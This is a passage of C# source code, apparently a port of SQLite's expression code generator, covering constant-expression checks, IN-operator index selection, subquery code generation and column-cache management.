testcase( pExpr.op == TK_AGG_COLUMN );\n          pWalker.u.i = 0;\n          return WRC_Abort;\n        default:\n          testcase( pExpr.op == TK_SELECT ); /* selectNodeIsConstant will disallow */\n          testcase( pExpr.op == TK_EXISTS ); /* selectNodeIsConstant will disallow */\n          return WRC_Continue;\n      }\n    }\n\n    static int selectNodeIsConstant( Walker pWalker, Select NotUsed )\n    {\n      UNUSED_PARAMETER( NotUsed );\n      pWalker.u.i = 0;\n      return WRC_Abort;\n    }\n    static int exprIsConst( Expr p, int initFlag )\n    {\n      Walker w = new Walker();\n      w.u.i = initFlag;\n      w.xExprCallback = exprNodeIsConstant;\n      w.xSelectCallback = selectNodeIsConstant;\n      sqlite3WalkExpr( w, ref p );\n      return w.u.i;\n    }\n\n    /*\n    ** Walk an expression tree.  Return 1 if the expression is constant\n    ** and 0 if it involves variables or function calls.\n    **\n    ** For the purposes of this function, a double-quoted string (ex: \"abc\")\n    ** is considered a variable but a single-quoted string (ex: 'abc') is\n    ** a constant.\n    */\n    static int sqlite3ExprIsConstant( Expr p )\n    {\n      return exprIsConst( p, 1 );\n    }\n\n    /*\n    ** Walk an expression tree.  Return 1 if the expression is constant\n    ** that does no originate from the ON or USING clauses of a join.\n    ** Return 0 if it involves variables or function calls or terms from\n    ** an ON or USING clause.\n    */\n    static int sqlite3ExprIsConstantNotJoin( Expr p )\n    {\n      return exprIsConst( p, 3 );\n    }\n\n    /*\n    ** Walk an expression tree.  Return 1 if the expression is constant\n    ** or a function call with constant arguments.  Return and 0 if there\n    ** are any variables.\n    **\n    ** For the purposes of this function, a double-quoted string (ex: \"abc\")\n    ** is considered a variable but a single-quoted string (ex: 'abc') is\n    ** a constant.\n    */\n    static int sqlite3ExprIsConstantOrFunction( Expr p )\n    {\n      return exprIsConst( p, 2 );\n    }\n\n    /*\n    ** If the expression p codes a constant integer that is small enough\n    ** to fit in a 32-bit integer, return 1 and put the value of the integer\n    ** in pValue.  If the expression is not an integer or if it is too big\n    ** to fit in a signed 32-bit integer, return 0 and leave pValue unchanged.\n    */\n    static int sqlite3ExprIsInteger( Expr p, ref int pValue )\n    {\n      int rc = 0;\n      if ( ( p.flags & EP_IntValue ) != 0 )\n      {\n        pValue = (int)p.u.iValue;\n        return 1;\n      }\n      switch ( p.op )\n      {\n        case TK_INTEGER:\n          {\n            rc = sqlite3GetInt32( p.u.zToken, ref pValue ) ? 1 : 0;\n            Debug.Assert( rc == 0 );\n            break;\n          }\n        case TK_UPLUS:\n          {\n            rc = sqlite3ExprIsInteger( p.pLeft, ref  pValue );\n            break;\n          }\n        case TK_UMINUS:\n          {\n            int v = 0;\n            if ( sqlite3ExprIsInteger( p.pLeft, ref v ) != 0 )\n            {\n              pValue = -v;\n              rc = 1;\n            }\n            break;\n          }\n        default: break;\n      }\n      if ( rc != 0 )\n      {\n        Debug.Assert( ExprHasAnyProperty( p, EP_Reduced | EP_TokenOnly )\n        || ( p.flags2 & EP2_MallocedToken ) == 0 );\n        p.op = TK_INTEGER;\n        p.flags |= EP_IntValue;\n        p.u.iValue = pValue;\n      }\n      return rc;\n    }\n\n    /*\n    ** Return TRUE if the given string is a row-id column name.\n    */\n    static bool sqlite3IsRowid( string z )\n    {\n      if ( sqlite3StrICmp( z, \"_ROWID_\" ) == 0 ) return true;\n      if ( sqlite3StrICmp( z, \"ROWID\" ) == 0 ) return true;\n      if ( sqlite3StrICmp( z, \"OID\" ) == 0 ) return true;\n      return false;\n    }\n\n\n    /*\n    ** Return true if we are able to the IN operator optimization on a\n    ** query of the form\n    **\n    **       x IN (SELECT ...)\n    **\n    ** Where the SELECT... clause is as specified by the parameter to this\n    ** routine.\n    **\n    ** The Select object passed in has already been preprocessed and no\n    ** errors have been found.\n    */\n#if !SQLITE_OMIT_SUBQUERY\n    static int isCandidateForInOpt( Select p )\n    {\n      SrcList pSrc;\n      ExprList pEList;\n      Table pTab;\n      if ( p == null ) return 0;                   /* right-hand side of IN is SELECT */\n      if ( p.pPrior != null ) return 0;              /* Not a compound SELECT */\n      if ( ( p.selFlags & ( SF_Distinct | SF_Aggregate ) ) != 0 )\n      {\n        testcase( ( p.selFlags & ( SF_Distinct | SF_Aggregate ) ) == SF_Distinct );\n        testcase( ( p.selFlags & ( SF_Distinct | SF_Aggregate ) ) == SF_Aggregate );\n        return 0; /* No DISTINCT keyword and no aggregate functions */\n      }\n      Debug.Assert( p.pGroupBy == null );         /* Has no GROUP BY clause */\n      if ( p.pLimit != null ) return 0;           /* Has no LIMIT clause */\n      Debug.Assert( p.pOffset == null );          /* No LIMIT means no OFFSET */\n\n      if ( p.pWhere != null ) return 0;           /* Has no WHERE clause */\n      pSrc = p.pSrc;\n      Debug.Assert( pSrc != null );\n      if ( pSrc.nSrc != 1 ) return 0;             /* Single term in FROM clause */\n      if ( pSrc.a[0].pSelect != null ) return 0;  /* FROM is not a subquery or view */\n      pTab = pSrc.a[0].pTab;\n      if ( NEVER( pTab == null ) ) return 0;\n      Debug.Assert( pTab.pSelect == null );       /* FROM clause is not a view */\n      if ( IsVirtual( pTab ) ) return 0;          /* FROM clause not a virtual table */\n      pEList = p.pEList;\n      if ( pEList.nExpr != 1 ) return 0;          /* One column in the result set */\n      if ( pEList.a[0].pExpr.op != TK_COLUMN ) return 0; /* Result is a column */\n      return 1;\n    }\n#endif //* SQLITE_OMIT_SUBQUERY */\n\n    /*\n** This function is used by the implementation of the IN (...) operator.\n** It's job is to find or create a b-tree structure that may be used\n** either to test for membership of the (...) set or to iterate through\n** its members, skipping duplicates.\n**\n** The index of the cursor opened on the b-tree (database table, database index\n** or ephermal table) is stored in pX->iTable before this function returns.\n** The returned value of this function indicates the b-tree type, as follows:\n**\n**   IN_INDEX_ROWID - The cursor was opened on a database table.\n**   IN_INDEX_INDEX - The cursor was opened on a database index.\n**   IN_INDEX_EPH -   The cursor was opened on a specially created and\n**                    populated epheremal table.\n**\n** An existing b-tree may only be used if the SELECT is of the simple\n** form:\n**\n**     SELECT <column> FROM <table>\n**\n** If the prNotFound parameter is 0, then the b-tree will be used to iterate\n** through the set members, skipping any duplicates. In this case an\n** epheremal table must be used unless the selected <column> is guaranteed\n** to be unique - either because it is an INTEGER PRIMARY KEY or it\n** has a UNIQUE constraint or UNIQUE index.\n**\n** If the prNotFound parameter is not 0, then the b-tree will be used\n** for fast set membership tests. In this case an epheremal table must\n** be used unless <column> is an INTEGER PRIMARY KEY or an index can\n** be found with <column> as its left-most column.\n**\n** When the b-tree is being used for membership tests, the calling function\n** needs to know whether or not the structure contains an SQL NULL\n** value in order to correctly evaluate expressions like \"X IN (Y, Z)\".\n** If there is a chance that the b-tree might contain a NULL value at\n** runtime, then a register is allocated and the register number written\n** to *prNotFound. If there is no chance that the b-tree contains a\n** NULL value, then *prNotFound is left unchanged.\n**\n** If a register is allocated and its location stored in *prNotFound, then\n** its initial value is NULL. If the b-tree does not remain constant\n** for the duration of the query (i.e. the SELECT that generates the b-tree\n** is a correlated subquery) then the value of the allocated register is\n** reset to NULL each time the b-tree is repopulated. This allows the\n** caller to use vdbe code equivalent to the following:\n**\n**   if( register==NULL ){\n**     has_null = <test if data structure contains null>\n**     register = 1\n**   }\n**\n** in order to avoid running the <test if data structure contains null>\n** test more often than is necessary.\n*/\n#if !SQLITE_OMIT_SUBQUERY\n    static int sqlite3FindInIndex( Parse pParse, Expr pX, ref int prNotFound )\n    {\n      Select p;                             /* SELECT to the right of IN operator */\n      int eType = 0;                        /* Type of RHS table. IN_INDEX_* */\n      int iTab = pParse.nTab++;             /* Cursor of the RHS table */\n      bool mustBeUnique = ( prNotFound != 0 );   /* True if RHS must be unique */\n\n      /* Check to see if an existing table or index can be used to\n      ** satisfy the query.  This is preferable to generating a new\n      ** ephemeral table.\n      */\n      p = ( ExprHasProperty( pX, EP_xIsSelect ) ? pX.x.pSelect : null );\n      if ( ALWAYS( pParse.nErr == 0 ) && isCandidateForInOpt( p ) != 0 )\n      {\n        sqlite3 db = pParse.db;               /* Database connection */\n        Expr pExpr = p.pEList.a[0].pExpr;     /* Expression <column> */\n        int iCol = pExpr.iColumn;             /* Index of column <column> */\n        Vdbe v = sqlite3GetVdbe( pParse );      /* Virtual machine being coded */\n        Table pTab = p.pSrc.a[0].pTab;        /* Table <table>. */\n        int iDb;                              /* Database idx for pTab */\n\n        /* Code an OP_VerifyCookie and OP_TableLock for <table>. */\n        iDb = sqlite3SchemaToIndex( db, pTab.pSchema );\n        sqlite3CodeVerifySchema( pParse, iDb );\n        sqlite3TableLock( pParse, iDb, pTab.tnum, 0, pTab.zName );\n\n        /* This function is only called from two places. In both cases the vdbe\n        ** has already been allocated. So assume sqlite3GetVdbe() is always\n        ** successful here.\n        */\n        Debug.Assert( v != null );\n        if ( iCol < 0 )\n        {\n          int iMem = ++pParse.nMem;\n          int iAddr;\n          sqlite3VdbeUsesBtree( v, iDb );\n\n          iAddr = sqlite3VdbeAddOp1( v, OP_If, iMem );\n          sqlite3VdbeAddOp2( v, OP_Integer, 1, iMem );\n\n          sqlite3OpenTable( pParse, iTab, iDb, pTab, OP_OpenRead );\n          eType = IN_INDEX_ROWID;\n\n          sqlite3VdbeJumpHere( v, iAddr );\n        }\n        else\n        {\n          Index pIdx;                         /* Iterator variable */\n          /* The collation sequence used by the comparison. If an index is to\n          ** be used in place of a temp.table, it must be ordered according\n          ** to this collation sequence. */\n          CollSeq pReq = sqlite3BinaryCompareCollSeq( pParse, pX.pLeft, pExpr );\n\n          /* Check that the affinity that will be used to perform the\n          ** comparison is the same as the affinity of the column. If\n          ** it is not, it is not possible to use any index.\n          */\n          char aff = comparisonAffinity( pX );\n          bool affinity_ok = ( pTab.aCol[iCol].affinity == aff || aff == SQLITE_AFF_NONE );\n\n          for ( pIdx = pTab.pIndex ; pIdx != null && eType == 0 && affinity_ok ; pIdx = pIdx.pNext )\n          {\n            if ( ( pIdx.aiColumn[0] == iCol )\n            && ( sqlite3FindCollSeq( db, ENC( db ), pIdx.azColl[0], 0 ) == pReq )\n            && ( mustBeUnique == false || ( pIdx.nColumn == 1 && pIdx.onError != OE_None ) )\n            )\n            {\n              int iMem = ++pParse.nMem;\n              int iAddr;\n              KeyInfo pKey;\n\n              pKey = sqlite3IndexKeyinfo( pParse, pIdx );\n              iDb = sqlite3SchemaToIndex( db, pIdx.pSchema );\n              sqlite3VdbeUsesBtree( v, iDb );\n\n              iAddr = sqlite3VdbeAddOp1( v, OP_If, iMem );\n              sqlite3VdbeAddOp2( v, OP_Integer, 1, iMem );\n\n              sqlite3VdbeAddOp4( v, OP_OpenRead, iTab, pIdx.tnum, iDb,\n              pKey, P4_KEYINFO_HANDOFF );\n#if SQLITE_DEBUG\n              VdbeComment( v, \"%s\", pIdx.zName );\n#endif\n              eType = IN_INDEX_INDEX;\n\n              sqlite3VdbeJumpHere( v, iAddr );\n              if ( //prNotFound != null &&         -- always exists under C#\n              pTab.aCol[iCol].notNull == 0 )\n              {\n                prNotFound = ++pParse.nMem;\n              }\n            }\n          }\n        }\n      }\n\n      if ( eType == 0 )\n      {\n        /* Could not found an existing able or index to use as the RHS b-tree.\n        ** We will have to generate an ephemeral table to do the job.\n        */\n        int rMayHaveNull = 0;\n        eType = IN_INDEX_EPH;\n        if ( prNotFound != -1 )  // Klude to show prNotFound not available\n        {\n          prNotFound = rMayHaveNull = ++pParse.nMem;\n        }\n        else\n          if ( pX.pLeft.iColumn < 0 && !ExprHasAnyProperty( pX, EP_xIsSelect ) )\n          {\n            eType = IN_INDEX_ROWID;\n          }\n        sqlite3CodeSubselect( pParse, pX, rMayHaveNull, eType == IN_INDEX_ROWID );\n      }\n      else\n      {\n        pX.iTable = iTab;\n      }\n      return eType;\n    }\n#endif\n\n    /*\n** Generate code for scalar subqueries used as an expression\n** and IN operators.  Examples:\n**\n**     (SELECT a FROM b)          -- subquery\n**     EXISTS (SELECT a FROM b)   -- EXISTS subquery\n**     x IN (4,5,11)              -- IN operator with list on right-hand side\n**     x IN (SELECT a FROM b)     -- IN operator with subquery on the right\n**\n** The pExpr parameter describes the expression that contains the IN\n** operator or subquery.\n**\n** If parameter isRowid is non-zero, then expression pExpr is guaranteed\n** to be of the form \"<rowid> IN (?, ?, ?)\", where <rowid> is a reference\n** to some integer key column of a table B-Tree. In this case, use an\n** intkey B-Tree to store the set of IN(...) values instead of the usual\n** (slower) variable length keys B-Tree.\n**\n** If rMayHaveNull is non-zero, that means that the operation is an IN\n** (not a SELECT or EXISTS) and that the RHS might contains NULLs.\n** Furthermore, the IN is in a WHERE clause and that we really want\n** to iterate over the RHS of the IN operator in order to quickly locate\n** all corresponding LHS elements.  All this routine does is initialize\n** the register given by rMayHaveNull to NULL.  Calling routines will take\n** care of changing this register value to non-NULL if the RHS is NULL-free.\n**\n** If rMayHaveNull is zero, that means that the subquery is being used\n** for membership testing only.  There is no need to initialize any\n** registers to indicate the presense or absence of NULLs on the RHS.\n*/\n#if !SQLITE_OMIT_SUBQUERY\n    static void sqlite3CodeSubselect(\n    Parse pParse,          /* Parsing context */\n    Expr pExpr,            /* The IN, SELECT, or EXISTS operator */\n    int rMayHaveNull,      /* Register that records whether NULLs exist in RHS */\n    bool isRowid           /* If true, LHS of IN operator is a rowid */\n    )\n    {\n      int testAddr = 0;                       /* One-time test address */\n      Vdbe v = sqlite3GetVdbe( pParse );\n      if ( NEVER( v == null ) ) return;\n      sqlite3ExprCachePush( pParse );\n\n      /* This code must be run in its entirety every time it is encountered\n      ** if any of the following is true:\n      **\n      **    *  The right-hand side is a correlated subquery\n      **    *  The right-hand side is an expression list containing variables\n      **    *  We are inside a trigger\n      **\n      ** If all of the above are false, then we can run this code just once\n      ** save the results, and reuse the same result on subsequent invocations.\n      */\n      if ( !ExprHasAnyProperty( pExpr, EP_VarSelect ) && null == pParse.trigStack )\n      {\n        int mem = ++pParse.nMem;\n        sqlite3VdbeAddOp1( v, OP_If, mem );\n        testAddr = sqlite3VdbeAddOp2( v, OP_Integer, 1, mem );\n        Debug.Assert( testAddr > 0 /* || pParse.db.mallocFailed != 0 */ );\n      }\n\n      switch ( pExpr.op )\n      {\n        case TK_IN:\n          {\n            char affinity;\n            KeyInfo keyInfo;\n            int addr;        /* Address of OP_OpenEphemeral instruction */\n            Expr pLeft = pExpr.pLeft;\n\n            if ( rMayHaveNull != 0 )\n            {\n              sqlite3VdbeAddOp2( v, OP_Null, 0, rMayHaveNull );\n            }\n\n            affinity = sqlite3ExprAffinity( pLeft );\n\n            /* Whether this is an 'x IN(SELECT...)' or an 'x IN(<exprlist>)'\n            ** expression it is handled the same way. A virtual table is\n            ** filled with single-field index keys representing the results\n            ** from the SELECT or the <exprlist>.\n            **\n            ** If the 'x' expression is a column value, or the SELECT...\n            ** statement returns a column value, then the affinity of that\n            ** column is used to build the index keys. If both 'x' and the\n            ** SELECT... statement are columns, then numeric affinity is used\n            ** if either column has NUMERIC or INTEGER affinity. If neither\n            ** 'x' nor the SELECT... statement are columns, then numeric affinity\n            ** is used.\n            */\n            pExpr.iTable = pParse.nTab++;\n            addr = sqlite3VdbeAddOp2( v, OP_OpenEphemeral, (int)pExpr.iTable, !isRowid );\n            keyInfo = new KeyInfo();// memset( &keyInfo, 0, sizeof(keyInfo ));\n            keyInfo.nField = 1;\n\n            if ( ExprHasProperty( pExpr, EP_xIsSelect ) )\n            {\n              /* Case 1:     expr IN (SELECT ...)\n              **\n              ** Generate code to write the results of the select into the temporary\n              ** table allocated and opened above.\n              */\n              SelectDest dest = new SelectDest();\n              ExprList pEList;\n\n              Debug.Assert( !isRowid );\n              sqlite3SelectDestInit( dest, SRT_Set, pExpr.iTable );\n              dest.affinity = (char)affinity;\n              Debug.Assert( ( pExpr.iTable & 0x0000FFFF ) == pExpr.iTable );\n              if ( sqlite3Select( pParse, pExpr.x.pSelect, ref dest ) != 0 )\n              {\n                return;\n              }\n              pEList = pExpr.x.pSelect.pEList;\n              if ( ALWAYS( pEList != null ) && pEList.nExpr > 0 )\n              {\n                keyInfo.aColl[0] = sqlite3BinaryCompareCollSeq( pParse, pExpr.pLeft,\n                pEList.a[0].pExpr );\n              }\n            }\n            else if ( pExpr.x.pList != null )\n            {\n              /* Case 2:     expr IN (exprlist)\n              **\n              ** For each expression, build an index key from the evaluation and\n              ** store it in the temporary table. If <expr> is a column, then use\n              ** that columns affinity when building index keys. If <expr> is not\n              ** a column, use numeric affinity.\n              */\n              int i;\n              ExprList pList = pExpr.x.pList;\n              ExprList_item pItem;\n              int r1, r2, r3;\n\n              if ( affinity == '\\0' )\n              {\n                affinity = SQLITE_AFF_NONE;\n              }\n              keyInfo.aColl[0] = sqlite3ExprCollSeq( pParse, pExpr.pLeft );\n\n              /* Loop through each expression in <exprlist>. */\n              r1 = sqlite3GetTempReg( pParse );\n              r2 = sqlite3GetTempReg( pParse );\n              sqlite3VdbeAddOp2( v, OP_Null, 0, r2 );\n              for ( i = 0 ; i < pList.nExpr ; i++ )\n              {//, pItem++){\n                pItem = pList.a[i];\n                Expr pE2 = pItem.pExpr;\n\n                /* If the expression is not constant then we will need to\n                ** disable the test that was generated above that makes sure\n                ** this code only executes once.  Because for a non-constant\n                ** expression we need to rerun this code each time.\n                */\n                if ( testAddr != 0 && sqlite3ExprIsConstant( pE2 ) == 0 )\n                {\n                  sqlite3VdbeChangeToNoop( v, testAddr - 1, 2 );\n                  testAddr = 0;\n                }\n\n                /* Evaluate the expression and insert it into the temp table */\n                r3 = sqlite3ExprCodeTarget( pParse, pE2, r1 );\n                if ( isRowid )\n                {\n                  sqlite3VdbeAddOp2( v, OP_MustBeInt, r3, sqlite3VdbeCurrentAddr( v ) + 2 );\n                  sqlite3VdbeAddOp3( v, OP_Insert, pExpr.iTable, r2, r3 );\n                }\n                else\n                {\n                  sqlite3VdbeAddOp4( v, OP_MakeRecord, r3, 1, r2, affinity, 1 );\n                  sqlite3ExprCacheAffinityChange( pParse, r3, 1 );\n                  sqlite3VdbeAddOp2( v, OP_IdxInsert, pExpr.iTable, r2 );\n                }\n              }\n              sqlite3ReleaseTempReg( pParse, r1 );\n              sqlite3ReleaseTempReg( pParse, r2 );\n            }\n            if ( !isRowid )\n            {\n              sqlite3VdbeChangeP4( v, addr, keyInfo, P4_KEYINFO );\n            }\n            break;\n          }\n\n        case TK_EXISTS:\n        case TK_SELECT:\n        default:\n          {\n            /* If this has to be a scalar SELECT.  Generate code to put the\n            ** value of this select in a memory cell and record the number\n            ** of the memory cell in iColumn.  If this is an EXISTS, write\n            ** an integer 0 (not exists) or 1 (exists) into a memory cell\n            ** and record that memory cell in iColumn.\n            */\n            Token one = new Token( \"1\", 1 );    /* Token for literal value 1 */\n            Select pSel;                        /* SELECT statement to encode */\n            SelectDest dest = new SelectDest(); /* How to deal with SELECt result */\n\n            testcase( pExpr.op == TK_EXISTS );\n            testcase( pExpr.op == TK_SELECT );\n            Debug.Assert( pExpr.op == TK_EXISTS || pExpr.op == TK_SELECT );\n\n            Debug.Assert( ExprHasProperty( pExpr, EP_xIsSelect ) );\n            pSel = pExpr.x.pSelect;\n            sqlite3SelectDestInit( dest, 0, ++pParse.nMem );\n            if ( pExpr.op == TK_SELECT )\n            {\n              dest.eDest = SRT_Mem;\n              sqlite3VdbeAddOp2( v, OP_Null, 0, dest.iParm );\n#if SQLITE_DEBUG\n              VdbeComment( v, \"Init subquery result\" );\n#endif\n            }\n            else\n            {\n              dest.eDest = SRT_Exists;\n              sqlite3VdbeAddOp2( v, OP_Integer, 0, dest.iParm );\n#if SQLITE_DEBUG\n              VdbeComment( v, \"Init EXISTS result\" );\n#endif\n            }\n            sqlite3ExprDelete( pParse.db, ref pSel.pLimit );\n            pSel.pLimit = sqlite3PExpr( pParse, TK_INTEGER, null, null, one );\n            if ( sqlite3Select( pParse, pSel, ref dest ) != 0 )\n            {\n              return;\n            }\n            pExpr.iColumn = (short)dest.iParm;\n            ExprSetIrreducible( pExpr );\n            break;\n          }\n      }\n\n      if ( testAddr != 0 )\n      {\n        sqlite3VdbeJumpHere( v, testAddr - 1 );\n      }\n      sqlite3ExprCachePop( pParse, 1 );\n\n      return;\n    }\n#endif // * SQLITE_OMIT_SUBQUERY */\n\n    /*\n** Duplicate an 8-byte value\n*/\n    //static char *dup8bytes(Vdbe v, const char *in){\n    //  char *out = sqlite3DbMallocRaw(sqlite3VdbeDb(v), 8);\n    //  if( out ){\n    //    memcpy(out, in, 8);\n    //  }\n    //  return out;\n    //}\n\n    /*\n    ** Generate an instruction that will put the floating point\n    ** value described by z[0..n-1] into register iMem.\n    **\n    ** The z[] string will probably not be zero-terminated.  But the\n    ** z[n] character is guaranteed to be something that does not look\n    ** like the continuation of the number.\n    */\n    static void codeReal( Vdbe v, string z, bool negateFlag, int iMem )\n    {\n      if ( ALWAYS( !String.IsNullOrEmpty( z ) ) )\n      {\n        double value = 0;\n        //char *zV;\n        sqlite3AtoF( z, ref value );\n        if ( sqlite3IsNaN( value ) )\n        {\n          sqlite3VdbeAddOp2( v, OP_Null, 0, iMem );\n        }\n        else\n        {\n          if ( negateFlag ) value = -value;\n          //zV = dup8bytes(v,  value);\n          sqlite3VdbeAddOp4( v, OP_Real, 0, iMem, 0, value, P4_REAL );\n        }\n      }\n    }\n\n    /*\n    ** Generate an instruction that will put the integer describe by\n    ** text z[0..n-1] into register iMem.\n    **\n    ** The z[] string will probably not be zero-terminated.  But the\n    ** z[n] character is guaranteed to be something that does not look\n    ** like the continuation of the number.\n    */\n    static void codeInteger( Vdbe v, Expr pExpr, bool negFlag, int iMem )\n    {\n      if ( ( pExpr.flags & EP_IntValue ) != 0 )\n      {\n        int i = pExpr.u.iValue;\n        if ( negFlag ) i = -i;\n        sqlite3VdbeAddOp2( v, OP_Integer, i, iMem );\n      }\n      else\n      {\n        string z = pExpr.u.zToken;\n        Debug.Assert( !String.IsNullOrEmpty( z ) );\n        if ( sqlite3FitsIn64Bits( z, negFlag ) )\n        {\n          i64 value = 0;\n          //string zV;\n          sqlite3Atoi64( negFlag ? \"-\" + z : z, ref value );\n          //if ( negFlag ) value = -value;\n          //zV = dup8bytes( v, (char*)&value );\n          //sqlite3VdbeAddOp4( v, OP_Int64, 0, iMem, 0, zV, P4_INT64 );\n          sqlite3VdbeAddOp4( v, OP_Int64, 0, iMem, 0, value, P4_INT64 );\n        }\n        else\n        {\n          codeReal( v, z, negFlag, iMem );\n        }\n      }\n    }\n\n    /*\n    ** Clear a cache entry.\n    */\n    static void cacheEntryClear( Parse pParse, yColCache p )\n    {\n      if ( p.tempReg != 0 )\n      {\n        if ( pParse.nTempReg < ArraySize( pParse.aTempReg ) )\n        {\n          pParse.aTempReg[pParse.nTempReg++] = p.iReg;\n        }\n        p.tempReg = 0;\n      }\n    }\n\n\n    /*\n    ** Record in the column cache that a particular column from a\n    ** particular table is stored in a particular register.\n    */\n    static void sqlite3ExprCacheStore( Parse pParse, int iTab, int iCol, int iReg )\n    {\n      int i;\n      int minLru;\n      int idxLru;\n      yColCache p;\n\n      Debug.Assert( iReg > 0 );  /* Register numbers are always positive */\n      Debug.Assert( iCol >= -1 && iCol < 32768 );  /* Finite column numbers */\n\n      /* First replace any existing entry */\n      for ( i = 0 ; i < SQLITE_N_COLCACHE ; i++ )//p=pParse.aColCache... p++)\n      {\n        p = pParse.aColCache[i];\n        if ( p.iReg != 0 && p.iTable == iTab && p.iColumn == iCol )\n        {\n          cacheEntryClear( pParse, p );\n          p.iLevel = pParse.iCacheLevel;\n          p.iReg = iReg;\n          p.affChange = false;\n          p.lru = pParse.iCacheCnt++;\n          return;\n        }\n      }\n\n      /* Find an empty slot and replace it */\n      for ( i = 0 ; i < SQLITE_N_COLCACHE ; i++ )//p=pParse.aColCache... p++)\n      {\n        p = pParse.aColCache[i];\n        if ( p.iReg == 0 )\n        {\n          p.iLevel = pParse.iCacheLevel;\n          p.iTable = iTab;\n          p.iColumn = iCol;\n          p.iReg = iReg;\n          p.affChange = false;\n          p.tempReg = 0;\n          p.lru = pParse.iCacheCnt++;\n          return;\n        }\n      }\n\n      /* Replace the last recently used */\n      minLru = 0x7fffffff;\n      idxLru = -1;\n      for ( i = 0 ; i < SQLITE_N_COLCACHE ; i++ )//p=pParse.aColCache..., p++)\n      {\n        p = pParse.aColCache[i];\n        if ( p.lru < minLru )\n        {\n          idxLru = i;\n          minLru = p.lru;\n        }\n      }\n      if ( ALWAYS( idxLru >= 0 ) )\n      {\n        p = pParse.aColCache[idxLru];\n        p.iLevel = pParse.iCacheLevel;\n        p.iTable = iTab;\n        p.iColumn = iCol;\n        p.iReg = iReg;\n        p.affChange = false;\n        p.tempReg = 0;\n        p.lru = pParse.iCacheCnt++;\n        return;\n      }\n    }\n\n    /*\n    ** Indicate that a register is being overwritten.  Purge the register\n    ** from the column cache.\n    */\n    static void sqlite3ExprCacheRemove( Parse pParse, int iReg )\n    {\n      int i;\n      yColCache p;\n      for ( i = 0 ; i < SQLITE_N_COLCACHE ; i++ )//p=pParse.aColCache... p++)\n      {\n        p = pParse.aColCache[i];\n        if ( p.iReg == iReg )\n        {\n          cacheEntryClear( pParse, p );\n          p.iReg = 0;\n        }\n      }\n    }\n\n    /*\n    ** Remember the current column cache context.  Any new entries added\n    ** added to the column cache after this call are removed when the\n    ** corresponding pop occurs.\n    */\n    static void sqlite3ExprCachePush( Parse pParse )\n    {\n      pParse.iCacheLevel++;\n    }\n\n    /*\n    ** Remove from the column cache any entries that were added since the\n    ** the previous N Push operations.  In other words, restore the cache\n    ** to the state it was in N Pushes ago.\n    */\n    static void sqlite3ExprCachePop( Parse pParse, int N )\n    {\n      int i;\n      yColCache p;\n      Debug.Assert( N > 0 );\n      Debug.Assert( pParse.iCacheLevel >= N );\n      pParse.iCacheLevel -= N;\n      for ( i = 0 ; i < SQLITE_N_COLCACHE ; i++ )// p++)\n      {\n        p = pParse.aColCache[i];\n        if ( p.iReg != 0 && p.iLevel > pParse.iCacheLevel )\n        {\n          cacheEntryClear( pParse, p );\n          p.iReg = 0;\n        }\n      }\n    }\n\n    /*\n    ** When a cached column is reused, make sure that its register is\n    ** no longer available as a temp register.  ticket #3879:  that same\n    ** register might be in the cache in multiple places, so be sure to\n    ** get them all.\n    */\n    static void sqlite3ExprCachePinRegister( Parse pParse, int iReg )\n    {\n      int i;\n      yColCache p;\n      for ( i = 0 ; i < SQLITE_N_COLCACHE ; i++ )//p=pParse->aColCache; i<SQLITE_N_COLCACHE; i++, p++)\n      {\n        p = pParse.aColCache[i];\n        if ( p.iReg == iReg )\n        {\n          p.tempReg = 0;\n        }\n      }\n    }\n\n    /*\n    ** Generate code that will extract the iColumn-th column from\n    ** table pTab and store the column value in a register.  An effort\n    ** is made to store the column value in register iReg, but this is\n    ** not guaranteed.  The location of the column value is returned.\n    **\n    ** There must be an open cursor to pTab in iTable when this routine\n    ** is called.  If iColumn<0 then code is generated that extracts the rowid.\n    **\n    ** This routine might attempt to reuse the value of the column that\n    ** has already been loaded into a register.  The value will always\n    ** be used if it has not undergone any affinity changes.  But if\n    ** an affinity change has occurred, then the cached value will only be\n    ** used if allowAffChng is true.\n    */\n    static int sqlite3ExprCodeGetColumn(\n    Parse pParse,     /* Parsing and code generating context */\n    Table pTab,       /* Description of the table we are reading from */\n    int iColumn,      /* Index of the table column */\n    int iTable,       /* The cursor pointing to the table */\n    int iReg,         /* Store results here */\n    bool allowAffChng /* True if prior affinity changes are OK */\n    )\n    {\n      Vdbe v = pParse.pVdbe;\n      int i;\n      yColCache p;\n\n      for ( i = 0 ; i < SQLITE_N_COLCACHE ; i++ )\n      {// p=pParse.aColCache, p++\n        p = pParse.aColCache[i];\n        if ( p.iReg > 0 && p.iTable == iTable && p.iColumn == iColumn\n        && ( !p.affChange || allowAffChng ) )\n        {\n          p.lru = pParse.iCacheCnt++;\n          sqlite3ExprCachePinRegister( pParse, p.iReg );\n          return p.iReg;\n        }\n      }\n      Debug.Assert( v != null );\n      if ( iColumn < 0 )\n      {\n        sqlite3VdbeAddOp2( v, OP_Rowid, iTable, iReg );\n      }\n      else if ( ALWAYS( pTab != null ) )\n      {\n        int op = IsVirtual( pTab ) ? OP_VColumn : OP_Column;\n        sqlite3VdbeAddOp3( v, op, iTable, iColumn, iReg );\n        sqlite3ColumnDefault( v, pTab, iColumn, iReg );\n      }\n      sqlite3ExprCacheStore( pParse, iTable, iColumn, iReg );\n      return iReg;\n    }\n\n    /*\n    ** Clear all column cache entries.\n    */\n    static void sqlite3ExprCacheClear( Parse pParse )\n    {\n      int i;\n      yColCache p;\n\n      for ( i = 0 ; i < SQLITE_N_COLCACHE ; i++ )// p=pParse.aColCache... p++)\n      {\n        p = pParse.aColCache[i];\n        if ( p.iReg != 0 )\n        {\n          cacheEntryClear( pParse, p );\n          p.iReg = 0;\n        }\n      }\n    }\n\n    /*\n    ** Record the fact that an affinity change has occurred on iCount\n    ** registers starting with iStart.\n    */\n    static void sqlite3ExprCacheAffinityChange( Parse pParse, int iStart, int iCount )\n    {\n      int iEnd = iStart + iCount - 1;\n      int i;\n      yColCache p;\n      for ( i = 0 ; i < SQLITE_N_COLCACHE ; i++ )// p=pParse.aColCache... p++)\n      {\n        p = pParse.aColCache[i];\n        int r = p.iReg;\n        if ( r >= iStart && r <= iEnd )\n        {\n          p.affChange = true;\n        }\n      }\n    }\n\n    /*\n    ** Generate code to move content from registers iFrom...iFrom+nReg-1\n    ** over to iTo..iTo+nReg-1. Keep the column cache up-to-date.\n    */\n    static void sqlite3ExprCodeMove( Parse pParse, int iFrom, int iTo, int nReg )\n    {\n      int i;\n      yColCache p;\n      if ( NEVER( iFrom == iTo ) ) return;\n      sqlite3VdbeAddOp3( pParse.pVdbe, OP_Move, iFrom, iTo, nReg );\n      for ( i = 0 ; i < 